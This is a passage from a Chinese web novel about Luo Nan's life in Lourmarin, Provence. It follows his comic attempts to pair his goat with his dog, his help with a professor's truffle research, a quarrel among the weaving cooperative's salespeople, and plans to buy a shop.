这会一听小黑要离开,她马上放下了手头所有的事情,紧张的对罗天海说: “天海,你下午别去餐厅了,在家炖点肉,给它们一起带去,小黑吃惯了咱们家的饭,不知道去了卢卡斯家能不能吃顺口。” 罗天海打开冰箱,一袋一袋从里面拿东西: “我把全部的肉都炖了,应该够它们吃几天的。” 冯珍从柜子里拿出一个大布袋,嘀嘀咕咕的自言自语: “我再去买点小黑爱吃的水果和零食。” “没有必要。”罗南拦在母亲身前,“卢卡斯家什么都有,还能亏待了小黑?” 炖肉他就不拦着了,卢卡斯也能跟着尝尝爸爸的手艺。 但水果和零食就不用了吧. 冯珍没有躲避,拉着罗南的胳膊就走: “你开车带我去梅纳村,我们去买最新鲜的。” 罗南:“.” 离谱! 谁才是这个家里的儿子? 罗南开车带冯珍去梅纳村采购了一番,母子俩顺路在那里把午饭吃了。 送冯珍回到家里,罗南去了歌迪亚的艺术品商铺,意外发现她居然也不在店里只有两个本地村民在看店。 “歌迪亚呢?”罗南问那两个村民。 其中一个回答: “和佐伊出去了。” 另一个补充: “好像要一起去见什么朋友。” 罗南追问: “什么朋友说了吗?是艺术家吗?” 两个店员互看了一眼,同时摇头: “没说。” 离开了歌迪亚的艺术品商铺,罗南又去了餐厅,之后绕了一圈去了艺术市集,发现佐伊姐妹团里的几个成员居然全部消失了。 而且无一例外,没有向身边的人解释她们去干什么。 下午罗南还要去编织大院干活,走回去的路上,他暗自咕哝: “这么多人一起‘消失’,一定是去密谋什么了,是在谋划她们之前设计的婚礼惊喜环节吗?” 求婚是罗南设计和张罗的。 佐伊主动承担起了更多婚礼的策划和执行责任。 早在好几个月前,她就和姐妹团们开始策划婚礼上的惊喜环节了。 而且,担心聪明的罗南提前识破了这份惊喜,佐伊还通知了罗南婚礼上会有‘惊喜’的消息,同时要求他不要好奇,也不要提前戳破她们的秘密设计,安心等待即可。 罗南把今天发生的事情和这份惊喜结合到了一起,便没有过多的纠结,也没有去刨根问底,只是在晚上见到佐伊时对她更加宠溺了。 “我们什么时候一起游泳?”罗南环住佐伊的身体,把脸埋进她的脖子。 但佐伊却一把推开罗南,走向独自一狗趴在门口、背影无比孤独的马赛: “马赛宝宝寂寞了是不是?来,姐姐陪你。” 罗南:“.” 无语,彻底的无语! 玛格丽特和小黑回了娘家,使得马赛成了家里的独宠。 进入半退休状态的罗天海和冯珍每天围着马赛转,即使脚好了,还是拿它当病人。 但马赛的状态却肉眼可见的‘萎靡’了下去。 成天的趴在门口,没有了往日的活泼和灵气,怎么哄都好不了了。 他才几个月时就和小黑一起生活,两兄弟一年多形影不离,现在大哥有了别的狗,做小弟的它成了那个多余的! 跟着小黑一起走不可能,它去卢卡斯家算怎么个事? 买一赠一? 佐伊心疼马赛,想把它带走去路易,那里有三只狗可以陪它玩。 但罗天和冯珍现在独宠马赛一狗,又刚刚经历了和小黑的分离,这样做并不实际,他们肯定舍不得。 想来想去,马赛还是最好住在这里。 看着马赛像‘望兄石’般孤独的趴在门口,罗南心里也不是个滋味。 别看这小子戏最多,但同时也最没有安全感的那个,争宠、演戏、求关注都是想要让人留意到它这里。 “你哥哥只是有女朋友了,不是不要你了,而且它很快就回来了。”罗南蹲到马赛的身边,心疼的摸了摸它的身子,“要不然我也给你找个‘对象’?” 马赛的耳朵兴奋的向后背起。 小黑第一次离开家,马赛又状态不佳,冯珍这几天睡的都不太踏实。 有的时候梦到小黑在卢卡斯家被欺负了,呜咽呜咽的跑回来,说做赘婿太难了,一人一狗抱在一起痛哭流涕。 一会又梦到马赛被天上的苍鹰追,她想过去赶走那只破鸟,但是怎么追都追不上去,急的能哭醒。 还有的时候,她梦到马赛离家出走了,路上它被野狗撵、被蜜蜂追、被蝮蛇咬.流浪的老惨了,叫的上气不接下气。 “呜呜呜呜呜——” 朦朦胧胧间,冯珍一头撞击罗天海的怀里。 罗天海感觉到胸口上的巨大压力,缓缓睁开了眼睛,摸着妻子的脑袋问: “又做噩梦了?” 冯珍断断续续的说: “我梦到马赛被欺负了,叫的老惨了,那梦太真了,醒了我还能听到它撕心裂肺的声音。” 罗天海的眼睛逐渐睁大,神智也逐渐的清晰,他转动了几下眼球: “那不是梦吧我也听到马赛叫了。” 确实叫的挺惨烈的。 冯珍直挺挺的坐起来,看了一眼床头柜上的时钟: “还不到6点啊,马赛怎么叫成这样了?” 她踢了一脚罗天海: “天海,你快下楼去看看怎么个事。” 罗天海翻了个身: “在家里能有什么事?可能罗南做什么好吃的了,它闻到了味道着急。” 冯珍用力蹬了一脚,险些把罗天海发射出去: “你快去看看,不看一眼我睡不着了。” 罗天海气呼呼的爬起来。 让你这么一折腾,我还能睡着吗? 两分钟后,罗天海怒气冲冠的返回了卧室,不由分说,叮叮咣咣的开始穿衣服。 冯珍撑起身子,紧张的问: “马赛怎么了?怎么还在叫啊。” 罗天海从衣柜里抽出一根皮带: “胡闹!简直是胡闹!罗南把马赛和呼呼强行拴到一起了!!” “这个小兔崽子!!”冯珍光着脚跑下了楼去。 午饭时间。 罗南结束了上午的编织工作,去餐厅吃午饭。 一进入餐厅,皮埃尔等人就坏笑着将他围住,八卦的问: “听说你早上被你爸爸打了?” 康奈尔有些犹豫,不过还是好奇,于是忍不住问: “而且还是用皮带打的?是不是真的?” 罗南伸出两根胳膊,把衣袖撸到肩膀,给他们展示: “你说是不是真的?” 皮埃尔上上下下,左左右右的检查了一遍,发现没有一丁点伤痕,失望的说: “妈的,特奥这个家伙越来越不靠谱了,竟然拿这种事情开玩笑,害得我饭都没有心情吃,早早的等在这里看戏。” 罗南把袖子放下去,撇嘴道: “我爸爸只是拿着皮带追我,并不是要打我,回去告诉特奥,早上清醒了再出来,再劳烦他瞪大眼睛。” “走了走了走了,散了吧。”皮埃尔对大伙儿挥手。 刚走两步,他们听到身后‘哎呀’了一声。 一扭头,看到罗南在揉屁股,看起来走路不是很顺畅的样子。 康奈尔用口型问皮埃尔: “是不是打的是屁股?” 皮埃尔皱着眉毛做了一个‘撤退’的手势: “再问问特奥去。” 卢尔马兰城堡附近。 特奥拍着胸脯保证: “我发誓,今天早上我真的看到了罗南的爸爸在后面追他,一边追还一边挥舞手里的皮带,他妈妈也在追,就是跑得比较慢,而且嘴里骂骂咧咧的,不信你问丽贝卡,她在家里也听到了。” 特奥和罗南家住的非常近,只有几百米的距离。 他的话还是很有信服度的,而且他都发誓了! “但罗南胳膊上没有被打过的痕迹啊。”皮埃尔叼着烟问,“他爸爸是不是打到了他的屁股?” 特奥表情变得狰狞,似乎眼前出现了什么恐怖的情形: “他爸爸压根就没追上他,你不知道早上罗南跑得有多快,毫不夸张的讲,都出残影了。” “山羊赛跑大赛那么快?”皮埃尔双手抱胸。 特奥摇头,从皮埃尔的香烟盒里拿出一根放到了自己嘴里: “比那快多了,因为在他和他爸爸中间,还有一只羊和一只狗,他们三个都在追罗南,一个挥着皮带,一个滋着牙龈,一个亮起了犄角每一个都不是罗南能轻松处理的。” 康奈尔瞪大了眼睛: “上帝,罗南早上到底经历了什么?” 皮埃尔又做了一个‘撤退’的手势,对兄弟们说: “再去问问罗南。” 路易家。 罗南趴在佐伊的床上,裤子褪下去了一半,龇牙咧嘴的解释: “我只是被呼呼顶了两下,真的没事的。” 佐伊戴着消毒手套,查看罗南的伤势,同时无语的问: “你怎么想的?为什么要把呼呼和马赛拴到一起?这下好了,全部失控了,最后受伤的只有你。” 罗南无辜的解释: “小黑和玛格丽特去了卢卡斯家,家里只有马赛一只狗,我还分别遛羊和遛狗有些浪费时间,我就想着一趟把它们俩都遛了。” 山羊赛跑大赛结束,罗南依然保留着遛羊的习惯,只是距离没有那么长了。 呼呼喜欢自由,喜欢奔跑,而且平时它独自住在院子里,也需要拿出时间好好陪伴,一人一羊之间的信任建立的不容易。 “它们两个怎么可能和平相处呢?你又不是不知道它们遇到彼此是什么样子的。”佐伊拿起消毒酒精。 罗南扭头,对佐伊露出灿烂笑容: “不试试怎么知道呢?既然马赛和呼呼都需要一个‘伴’,那为什么不能是彼此呢?” 佐伊毫不留情的将酒精摁到罗南屁股上的伤口: “那你就继续吃这份苦吧。” “啊啊啊,疼疼疼疼,疼啊——佐伊轻点!” 路易家门外。 皮埃尔等人龇牙咧嘴的偷听到了屋内罗南的嚎叫声,嘴角都跟着用起了力气。 “他们在里面干什么呢?” 第534章 又多了一批迷弟迷妹 罗南没有在意旁人的眼光。 每天早上必定会将呼呼和马赛强制组成cp。 那么多牧羊犬都能和羊共处,这两个家伙怎么就不能日久生情了呢? 不信,一点都不信。 水火不容的人和羊都能处成并肩战斗的伙伴,都是动物那不是更容易了? 罗南认为,让呼呼和马赛和平相处只需要动动脑筋。 一狗一羊现在的确无法共处,一起拉出来很快就会纠缠到一起。 为了阻止它们打架,罗南会大喊大叫的跑开,这个时候两只小动物的目标就变成追逐他了。 所以说,罗南被追其实是‘自找’的。 “被追只是暂时的,它们很快就会习惯这种安排,并慢慢接受彼此。”罗南躲躲闪闪的解释,“退一万步讲,我也可以锻炼到啊,忘记我之前的‘肥胖’危机了吗?” 罗南每天被羊和狗追的消息在卢尔马兰不胫而走。 普罗旺斯人最爱看热闹,尤其是这种让人捧腹大笑的场景,每天罗南遛狗和羊的时候一定会来几个旁观的村民。 “别管罗南本意是如何,你就说遛羊和遛狗的目的达没达成吧?连着跑了十几分钟了,兄弟们!” “我看还是改口叫遛人吧,罗南是跑的最快的那个!” “不快不行啊,被追上屁股就倒霉了。” “之前开玩笑说罗南要当马拉松运动员,这次可能真的要一语成真了。” “哈哈哈,加油啊罗南,保护好你值钱的屁股!” 佐伊的艺术创作风格很鲜明,她做的作品全部是动物主题。 了解她的人都知道,有这种艺术风格是因为她很喜欢动物。 不过罗南爱动物的美名也渐渐在卢尔马兰传播了开来,但那并不是因为他将呼呼和马赛强制组成了cp。 某天下午,罗南完成了今日的工作安排——一把编织椅。 和巴蒂和妇女们打了个招呼,他马上起身离开了院子,似乎非常心急。 巴蒂听到了最近村里的传言,用调侃的语气问: “又去卢卡斯家看你的狗?我说你行不行啊,一天不去都不行?” 6月底卢卡斯每天都要去罗南家看玛格丽特的事情,卢尔马兰全村人都知道。 但没人会觉得稀奇。 那可是玛格丽特啊,让卢卡斯发家的亲女儿。 但罗南每天去卢卡斯家看小黑就不对劲了。 你那狗有什么能耐和本领? 想来想去,只能把这个举动和佐伊爱动物的事情联系到一起——妇唱夫随嘛。 这已经不是罗南第一次听到有人问他类似的问题,他哭笑不得的解释: “我不是去卢卡斯家看狗,是去看我的森林。” 七月初,费尔南教授终于带着他的学生们来到了卢尔马兰,开始新的实验方向。 自那之后,罗南每天都得去看看。 那片实验森林在卢尔马兰很偏远的地方,村民们都不知道村里来了一支实验小队。 又因为那片森林在卢卡斯家的方向,让大家误以为罗南每天往那边走是看狗去。 巴蒂倒不是不信罗南的解释,只是觉得更加诧异: “你去看你的森林干什么?” 森林又不会跑,用得着每天去看吗? 罗南简单明了的解释: “帮助教授和他的学生做实验。” “你会做实验?”巴蒂啧啧称奇的问,“真的假的啊?那可不是一般人能做的。” 巴蒂和罗南、桑德琳、布鲁诺一起吃过饭,清楚罗南的松露人工实验林的大致情况。 连布鲁诺都说,那是普罗旺斯最厉害的科研团队.罗南能去帮助他们干什么? “你说的没错,我确实不会做那些实验,那太专业了。”罗南叹了一口气,“所以我是去指导他们做实验的,好了不说了,费尔南教授一定在等我了。” 巴蒂:“???” 村民们不知道村里来了一支普罗旺斯农业技术水平最高的科研团队,但政府知道。 费尔南教授带学生来做实验,需要向各级政府报备。 这是第一次有科研团队来卢尔马兰做学术研究,政府上下非常重视。 虽然现在非常缺人,布兰科还是指派了一位职员负责对接费尔南教授的团队,如果有需要会提供最大程度的帮助。 费尔南教授刚刚带人过来,又是驻扎到野外,水电等生活问题都需要慢慢解决和适应,这段时间政府负责对接的职员往这片森林跑的频率非常勤。 这不,罗南在去实验林的路上,迎面碰到了康蒂娜。 “教授遇到什么困难了吗?”罗南见康蒂娜来了,以为教授的团队遇到了什么问题。 康蒂娜摇头: “教授没有遇到什么困难,是村长觉得教授遇到了他来让我劝劝教授,还是搬去我们安排的临时居所吧,天气那么热,这么多人住在野外条件太艰苦了,布兰科担心他们没有好的状态做实验。” 卢尔马兰第一出现科研团队、科研的目标还是罗南买的森林、如果实验成功,卢尔马兰将多出一项在冬季非常有优势的旅游项目、那有可能会成为卢尔马兰弯道超车的好时机种种buff堆积到一起,布兰科怎么能不重视呢? 毫不夸张的说,他比罗南还焦虑。 生怕这片实验林失败了. 布兰科和罗南一样,遇到问题不喜欢坐以待毙,喜欢主动出击。 卢尔马兰的住宿资源和人力资源一样短缺,在旅游季想要协调出来正式的居所太困难了,几乎是不可能的事情,这个问题要等卢尔马兰完成扩建才能缓解。 但为了最大程度的给教授提供帮助,政府在距离这片林子2公里的地方,协调出来了一片石屋,是被牧羊人废弃的。 虽然石屋数量不多,都住进去有点挤,但总比在野外扎帐篷好吧? 那里起码能遮风挡雨啊。 罗南撇了撇嘴: “不用费力气了,教授不会去的,他连我家的大仓库都不去,更不可能去石屋了。” “啊,你也邀请了教授吗?”康蒂娜一脸惊奇,“你和教授那么熟,他还拒绝你?” 还有一句话康蒂娜没有说出口。 那是什么大仓库,那明明是打工人梦寐以求的工作室! 教授不去,我可以搬过去吗? 罗南表情复杂的叹了一口气: “你回去告诉布兰科,不要担心,教授和他的学生对这次实验非常认真,这些外部因素不会干扰到他们。” 罗南都这样说了,康蒂娜只好迈步继续向村子的方向前行: “好的,那我回去了。” 罗南体贴的提醒: “之后有什么事,可以给我打电话转达,不用每天往这里跑,这里太偏僻了,你一个女孩过来不安全。” 普罗旺斯并不是什么治安良好的地区,这里的盗窃率是法国的前几,每到采摘季,大量的临时工涌入,地方电台每周都能讲出几起骇人听闻的恶性事件。 虽然现在还没到盗窃高峰期,也没有在采摘周期里,但还是得注点意。 康蒂娜刚工作不到半年,还没有升级到‘偷奸耍滑’的阶段,她感激的对罗南挥手,又拍了拍自己的口袋: “没事,我白天来,而且带了‘武器’。” 罗南还是不放心: “等我回去,给你安排个保镖吧。” 费尔南教授选择的实验大本营就在生态隔离带外不远的阴凉地区,地理位置和皮奥朗克那片森林类似,但这里没有废弃的伐木场,条件简直不可同日而语。 虽然现在是大白天,但有几顶帐篷拉着帘子,里面是在睡觉的人。 罗南已经不是第一次来了,他轻手轻脚的进入打开的帐篷,小声问一位学生: “教授在睡觉吗?还是去里面取数据了?” 那学生指了指中心的一座红色帐篷,满头大汗的说: “教授在里面补觉,但他睡之前说了,你来了把他叫起来,你等等啊,我过去把教授叫醒。” 两分钟后,罗南见到了蓬头垢面的费尔南教授。 不等罗南开口,费尔南教授兴奋的给罗南展示起他在昨天夜里获取的新数值: “我们渐渐摸索到了碳元素和微生物菌群反应的最佳温度区,下一步是湿度、氧气浓度和菌群的独立实验,最多一个月就可以进入实验室攻克阶段。” 教授在秋季定植前要功课的难题是有效提升土壤除菌和透气性的办法。 针对土壤透气性,罗南曾经抛出过一个现有的、只是因为信息闭塞没有被普及的办法——使用碳元素增加土壤的稳定性。 来到卢尔马兰这片森林,费尔南教授马上带领他的学生们着手做这个方向的实验。 人工培育松露实验的底层逻辑是在实验室里模拟自然状态,让松露菌丝在安全的环境中生长,这样一来首先要拿到的是自然状态中的数据。 只有拿到这些数据,才能在实验室里模拟。 整个实验团队三班倒,无论白天黑夜实时监控着森林里的实验株情况。 费尔南教授没比罗天海小几岁,看到他这么拼,罗南忍不住再次劝道: “这个阶段大家太辛苦了,还是去我那里住吧,虽然远了一点,但安排好人手和分工,不会耽误实验。” 这已经不是罗南第一次提出这个问题,费尔南知道他之前搬出的‘我们早就习惯了这种生活’等理由不管用了,于是换了个新的借口。 他整理了一下乱糟糟的头发: “不用担心,我每个周期只在这里盯几天,还有那么多实验等着我去呢,后天我就走了,苦不了几天。” 罗南犹犹豫豫的说: “但您这些学生.还要在这里待好一阵子呢。” 这次接触到费尔南教授的团队,罗南更加对‘科学家’望而却步了——实在太苦了! 提到学生,费尔南马上板起了脸,声音冷峻的说: “什么都不懂,还没有本事,再不能吃点苦,钱是那么好赚的?” 他看向路过的艾尔登,劈头盖脸的一顿输出: “中午12点的数据在哪里?别再给我一张只记录了温度和湿度的单子,我要所有的环境数据!” 心疼他们? 如果他们像罗南那么有本领还行! 教训完学生,费尔南教授一脸疼爱的对罗南说: “你昨天说似乎又想到了一些和除菌有关的事情,也是在和松露猎人交谈时偶尔听到的,还说回去好好回忆回忆.想到细节了吗?” 罗南憋着笑点头: “还真回忆起了一点点。” 费尔南教授的执行力非常强,而且重视效率。 和罗南聊完马上进入了森林,盯着这个轮次的学生。 艾尔登陪同教授和罗南吃过饭,还在罗南家住过一夜,和罗南较为熟悉。 见罗南要走,他赶紧提醒: “罗南,明天也一定要来啊,每次见到你之后教授都能‘安静’一阵子,否则见谁都骂。” 罗南笑着与他挥手: “好,明天来的时候给你们带好吃的。” 大本营里一片欢腾。 “罗南又要带吃的了吗?” “谢谢罗南!” “耶!开心!!” 短短几天,罗南又在卢尔马兰收获了一批‘迷弟迷妹’。 费尔南教授的实验小队只是条件艰苦了点,抛开教授的脾气不谈,气氛还是挺不错的。 最主要的是他们心态好。 一群在校学生,又都没有什么能力和经验,被骂很正常啊。 有什么好生气的? 来这里不就是学习的吗? 而且除了学习,他们还能听到跌宕起伏的故事。 罗南脾气好,还‘学识渊博’,最重要的是经常给大家‘投喂’,而且都是贼好吃的东西这帮学生很快就喜欢上了这个‘金主’。 每当教授不在大本营,学生们就得留罗南讲点有意思的事情再放他出去。 罗南开始还不理解。 他能讲什么故事? 不就是卢尔马兰那点事情吗 后来慢慢他释然了。 这帮学生就是拿他当‘电视’了。 与世隔绝这么久,听到外面的什么动静都觉得新奇。 “今天还真出了一件新鲜事。”罗南坐在阴凉里,跟周围的几个人说,“今天艾里莫尼来卢尔马兰了,整个村子堵得水泄不通,我第一次见到没有车也能堵成那个样子。” 一位学生瞪大了眼睛: “艾里莫尼?他怎么来卢尔马兰了,我听他的《可爱的女孩》长大的,我爸爸妈妈都很喜欢他的歌曲!” 罗南笑着解释: “他去卢尔马兰手工艺合作社买家具。” 艾尔登低头掰了一会手指头: “这是这周第三位来卢尔马兰买家具的名人明星。” 罗南欢快的说: “应该是某位明星在她的圈子里帮我宣传了一下。” 这周初,老修女版夏洛特又来卢尔马兰‘微服私访’了,还来找了罗南一次,无意间透露她在某次聚会上宣传了一下编织家具,没想到这些名人明星真的络绎不绝的出现了。 别管买不买,他们能来就是宣传。 罗南特地给夏洛特打了一个电话,表示感谢。 夏洛特说不用谢,买的名人多,她投资的家具也就越有升值价值,毕竟她目前还保持着单笔订单最大金额的成就。 有一位女学生憧憬的说: “等实验结束,我一定要去你的编织大院看看。” 罗南对此表示欢迎: “你一定会喜欢那里,编织大院的气氛和这里差不多,大家相处的很好,还互帮互助。” 话音刚落,拆台的人出现了。 康奈尔的圆脸通红,一看就是跑着来的,气喘吁吁的说: “罗南,你快点回去吧,卡福的伙计们在编织大院里打起来了,今天卡福不在卢尔马兰,巴蒂让我来找你过去。” 罗南噌的一下站起来。 自己人怎么能打起来呢? 第535章 谁才是老大? 罗南每天干完编织的活儿才会去森林里看看,通常那都是下午了。 因此当他匆匆赶回村子,编织大院的门已经关上,此时到了非营业时间,‘内讧’并没有被外人看到。 听到消息,罗南马不停蹄的往回跑,连续跑步锻炼了一个多月的他,全速跑起来根本不是康奈尔能追赶得上的。 蹭蹭蹭几步,罗南便把人甩开老远,估计这会小胖子还没跑到卢卡斯家。 这就导致,罗南并不清楚卡福的销售们是因为什么打起来的,只知道闹的挺不愉快。 站到编织大院门口,罗南没有着急开门。 一是顺一顺气,卡福不在,他必须起到‘震慑’作用,边说边大喘气可太没有气势了。 同时,也能听听里面的动静,稍微了解下情况。 此时的编织大院里乱哄哄的,在说话的至少有五六个人,而且男男女女都有。 罗南很快在里面捕捉到了阿克尼娜那威严的嗓音。 听到阿克尼娜的声音,罗南更不着急进去,决定在外面好好喘两口气。 有她老人家在,那帮销售绝对不敢闹得太大。 “每天轮到谁来卢尔马兰,论到谁去带客户都是有规矩的,不满意去找你们的老大,别在院子里吵吵闹闹的,要打也给我出去打。”阿克尼娜中气十足的说着,语气中带着满满的威压。 吵吵闹闹的声音马上停了下来,取而代之的是片刻安静。 几秒钟后,巴蒂焦急的声音出现了: “对对对,阿克尼娜说的对,不能坏了规矩啊,今天应该有9个销售在,但实际上来了10个,突然多了1个人,卡福定的规矩全乱了。” 波热是个大嗓门,她的声音罗南听得最是清楚: “一开始就该按照规矩来!否则不会出这么大的乱子,还有游客在呢,就抢起了客户,连我这个村农妇女都记得,卢尔马兰手工艺合作社是一对一接待客户,销售不能扎堆,更不能抢!” 几个瓮声瓮气的年轻小伙子开始解释和反驳。 “今天就该我们来卢尔马兰,是富尼埃抢了我们的客户,他今天该休息的。” “休息就不能来卢尔马兰了吗?老大之前还鼓励我们休息的时候口袋里也带着名片,有机会该发还是得发,那些客人没人接待,我帮忙带一下怎么了?” “你说怎么了?今天的客户应该是我们9个人分,现在变成10个人了,我们每个人的业绩都受到了影响,少了好几万!” “你心眼怎么那么小?上周你和我换班,我比你少上了一天班呢,那天的业绩我都没和你计较!” “你可以跟我说啊,怎么能明抢?” “我怎么抢了,我这是在帮忙!” 在门外的罗南终于弄明白了情况。 卡福的伙计们不仅要来卢尔马兰,还要去阿普特的线下店和建材市场,如果普罗旺斯举行了什么可以匹配上的活动,还要分派人手去那门口支临时摊子,通常情况下大伙会轮流去这几个地方,不会固定下来。 但随着卢尔马兰旅游业的兴旺、随着编织大院开起了体验课,随着‘荆棘烈阳’的认证、又随着像夏洛特那样的vip客户接连出现卢尔马兰编织大院成为了最火热的销售场景——小伙子们都想来卢尔马兰赚笔大的,宁可不休息也要往这边跑。 就这样,和其他销售起了冲突。 一道尖锐的中年男声突兀的加入了其中,一听就是皮雷那老小子。 “这就打起来了?我们卢尔马兰的妇女合作了几十年,从来没有因为单子红过脸!太差劲,你们这帮子销售太差劲了!” “都停下!”罗南终于推开了院门,盯着一院子的人发射出比康蒂娜更加强烈的威压。 销售内部的矛盾还没解决完,部门对立又要搞起来了罗南可不敢在外面休息了。 巴蒂像见到了救星一样小跑过来,紧张的把罗南身后的大门带上,生怕被好事的普罗旺斯看到和听到了什么: “你终于来了!我跟你说啊,今天出现了一些——” 罗南对着巴蒂扬了下下巴,表情严肃的径直走向屋内: “我大概知道了,几个销售跟我进来,其他人散了吧,干活的继续干活,不想干了的就回家休息,没有什么大事儿,也没什么好看的。” 院子里终于完全安静了。 通往室内的大门关闭。 虽然木门隔绝了声音,显得静悄悄的,和刚刚的嘈杂完全不同,但大家都知道里面一定正在进行比刚刚更加紧张的对话。 巴蒂、妇女们和皮雷看着那扇紧闭的大门表情精彩极了。 “很少见罗南这么严肃,还真有点不习惯呢。”巴蒂摸着他的卷发嘟囔。 阿克尼娜腰杆挺的笔直: “就是因为很少严肃,偶尔严肃一次才能吓得大家不敢说话,问题应该很快就能解决了。” 皮雷看热闹不嫌事大: “要我说,罗南就该把那几个销售解雇!卖东西谁不会啊?那提成为什么要让他们赚了?给我们不好吗?大家都是卢尔马兰人,应该互帮互助啊。” 阿克尼娜冰冷的盯向皮雷: “你干完今天的活儿了吗?没干完就赶紧去干,干完了就赶紧回家,别在这站着说风凉话,就你这张嘴巴,哪个顾客愿意听你说话?” 说完,她回头对看热闹的妇女们说: “都散了吧,今天的事儿谁都不准说出去,罗南说了,这只是件小事,没有什么好看、好打听的,都听到了吗?” “听到了!” “尤其是你皮雷,你敢把这件事像大喇叭一样宣传出去,明天我就让巴蒂停了你的单子。” “我——哼,我忙着做订单呢,谁有功夫去说这个啊。” 销售之间的矛盾还是要卡福来解决,即使罗南想插手也至少要和卡福先通个气先。 今天把人叫进去,无非只是为了起到一个震慑和警告的作用,告诉这几个人——你们的老大不在卢尔马兰,但我罗南在,都给我老实点! 警告完几个销售,罗南走出屋内,发现院子里已经恢复了昔日的秩序,和平时没有什么两样。 罗南对着和妇女们坐在一起赶工的巴蒂说: “晚上来我家一趟。” “好嘞!”巴蒂抬起了下巴。 走出编织大院,罗南迎面碰到跑的上气不接下气的康奈尔。 “罗,罗,罗南,你等我给你讲讲情况啊。”小胖子脸和脖子都跑红了,充分体现了他的易红体质。 罗南走到康奈尔的面前,刚刚的严肃还没有完全褪去: “你来的可真快啊,我都解决完了你才到,这么一点点距离,你就跑成这样了?” 康奈尔脸更红了: “是你跑的太快!而且那是一点点距离吗?至少5公里啊!我能和每天跟羊和狗比谁跑得更快的人相比吗?” 罗南看到他这张脸就想笑,语气终于缓和了下来: “编织大院出事,怎么是你去找的我?你下午过来这里了?” 罗南能看的出,巴蒂和阿克尼娜并不想让这件糗事外传,非常维护卢尔马兰手工艺合作社的声誉。 他一来巴蒂就着急关门,阿克尼娜嘱咐妇女们的话罗南在屋内也听到了。 那么康奈尔是怎么知道的呢? 康奈尔尴尬的摸了摸脑袋: “你的婚礼还没开始筹办,斯特斯加又没有开始酿酒,订单我都整理好了下午没事,四处转了转,想问问我妈妈晚上吃什么,就这么碰到了。” 上个月,罗南把康奈尔召回了斯特斯加,不再担任粉红酒博物馆的讲解员,但现在还没有到酿酒的时候,于是把去城堡布置婚礼现场的事儿托付给他了。 但城堡现在还不能进去呢。 罗南拍了拍康奈尔的肩膀: “你和康蒂娜联系一下,以后她去森林的时候你陪她一起,一个女孩子天天往森林跑太不安全了。” 康奈尔是卢尔马兰数一数二的热心肠,尤其现在还没有什么事情干,欣然接受了这个新任务: “好的,明天一早我就去找她。” 叫完了巴蒂,罗南又去找了桑德琳。 晚上,三个人吃完饭聚到一起,给卡福打了一个电话,说了今天下午发生的事情。 卡福告诉他们,最近许多小伙子在私下或者工作场合都向他表达了,想要固定在卢尔马兰当销售的愿望但卢尔马兰的生意实在太好,把谁安排在这里都会有人不满。 卡福最近正在为此而头疼。 而且让人意外的是,想要常驻卢尔马兰的不只是那些想要赚钱的小伙子。 “我会严肃处理今天产生冲突的这几个人,这几个小子反了天了,居然敢抢客户?”卡福的声音比下午的阿克尼娜还冰冷,“我会尽快搬去卢尔马兰生活,目前那里的销售人数最多,销量最大,我得把精力从阿普特转移到卢尔马兰,有我盯着,我看谁还敢破坏规矩!” 以前,编织生意的大本营在阿普特。 那里是编织花环在普罗旺斯起航的地方,线下店铺也是在这里找的。 但最近几个月卢尔马兰从各个方面超越了阿普特。 现在提到编织,许多普罗旺斯人联想到的第一个地方是卢尔马兰,毕竟卢尔马兰手工艺合作社的名号已经打响了。 巴蒂一阵惊喜: “什么时候来卢尔马兰看房子?” 四大金刚只有三个在卢尔马兰生活,如果卡福也搬来卢尔马兰就终于聚齐了,交流可以频繁和高效不少。 罗南也很开心,不过还是提醒道: “现在卢尔马兰的房子价格很高,条件还都不怎么好。” 罗南对卢尔马兰的房子市场相对了解,因为路易是全卢尔马兰最棒的房产中介。 这件事卡福考虑了很久,也为此做了一些功课: “对,所以我打算看看商业街上有没有什么合适的商铺,就像罗南的餐厅一样,一楼做点小生意,上面可以住人。” 卡福今年跟着罗南赚了点钱,在阿普特还有一所老房子。 她妻子上个月刚刚辞去了眼镜店的工作,如果有合适的商铺,他打算在这里让妻子做点小生意。 “不是都租出去了吗?”罗南‘咦’了一声。 没记错的话,上周希尔维才说过,商业街上的商铺一个月就租完了。 卡福笑着说: “有一些人是看这里招商火爆,交了个定金占地方,最终要不要还不一定呢,但一切要以合同说话啊,我先去签了合同,铺子就是我的。” 罗南小幅度的点了下头,原来有那么多人没签合同? “这个想法好。”桑德琳早就想提议让卡福搬来卢尔马兰了,只是最后加入的她不好意思说这种话。 只有F4聚齐,卢尔马兰手工艺合作社才能全面起航。 她想了一下,看向罗南,似是求证的问: “不过这样的话,卡福最早要到10月份才能搬过来吧?听罗南说,新的商业街要8月份才能竣工,那是新房,都装修好至少要2个月。” 桑德琳希望F4聚齐的日子越快越好。 “用不了那么久。”卡福的声音从电话中传出,“我之前咨询过,商业街二期和三期也是有先后竣工顺序的,而且8月还考虑到了道路施工和基础建设的配套时间,如果对开店或者入住的时间有要求,可以去申请提前开始装修,只要签完合同就可以了。” 罗南一下坐直了身子: “真的?” 电话那边安静了几秒,卡福才说道: “我明天肯定要去卢尔马兰盯着那帮小兔崽子,再顺路去确认一下。” 第二天,卡福亲自来卢尔马兰镇场子。 销售们大气都不敢喘一下,看到几乎快把西装撑破的老大,没有一个人敢不守规矩。 西装暴徒卡福又对罗南尊敬有加,搞得小伙子们看到罗南也跟着害怕。 总之,不管卡福以后在不在卢尔马兰、什么时候搬过来,罗南的存在已经成为一种震慑了。 中午吃完饭,卡福找到了坐在小板凳上干活的罗南。 “我问过了,商业街上的商铺确实可以提前进去装修,只是营业的日子要等配套和基建建设完成,我明天就带妻子过来找一个竣工时间早,又还没签合同的商铺,尽快买下来。” 有了前车之鉴,卢尔马兰政府建新的商业街时,会特意鼓励大家直接购买,而说服大家的例子,就是罗南的餐厅。 罗南直起腰,点了点头: “行,那你装修自己家的时候,顺带着也一起把咱们的旗舰店装了吧,回头我和你碰碰想法。” 卡福才离开招商办,知道罗南还没签合同,他提醒道: “提前装修的前提是得先把合同签了。” 罗南擦了擦额头上的汗: “一会干完活儿我就去政府,再不签我怕我的铺子也被人抢了,而且早点装修,也能早点把旗舰店开起来。” 第536章 本地村民补贴计划 上一次见希尔维,她提醒罗南在9月之前去把合同签了。 但发现居然还能有‘抢’商铺的情况存在,这个时间必须要提前了。 万一有哪个财大气粗的家伙给出了一个布兰科无法拒绝的价格,把罗南的铺子给截胡了呢? 自从买了森林,罗南便猜测卢尔马兰有隐形富豪的存在。 有可能是那些每年只在卢尔马兰居住一两个月,把这里当第二故乡的外地有钱人。 